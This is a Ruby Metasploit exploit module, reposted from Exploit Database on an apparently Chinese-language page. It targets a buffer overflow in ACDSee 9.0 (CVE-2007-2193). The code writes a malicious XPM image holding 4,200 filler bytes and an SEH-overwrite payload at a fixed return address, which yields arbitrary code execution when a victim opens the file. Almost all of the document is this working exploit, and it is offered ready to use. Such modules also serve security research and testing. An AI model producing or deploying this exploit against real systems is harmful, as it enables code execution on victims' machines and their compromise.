ACDSee – ‘.XPM’ File Section Buffer Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16632/

• ##
  # $Id: acdsee_xpm.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ACDSee XPM File Section Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in ACDSee 9.0.
  				When viewing a malicious XPM file with the ACDSee product,
  				a remote attacker could overflow a buffer and execute
  				arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => 'MC',
  			'Version'=> '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-2193' ],
  					[ 'OSVDB', '35236' ],
  					[ 'BID', '23620' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'DisableNops' =>'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Nov 23 2007',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.xpm']),
  			], self.class)
  	end
  
  	def exploit
  
  		filler = rand_text_alpha_upper(rand(25) + 1)
  
  		# http://www.fileformat.info/format/xpm/
  		head ="/* XPM */\r\n"
  		head << "static char * #{filler}[] = {\r\n"
  		head << "\""
  
  		buff =rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)
  
  		foot ="\",\r\n" + "};\r\n"
  
  		xpm = head + buff + foot
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(xpm)
  
  	end
  
  end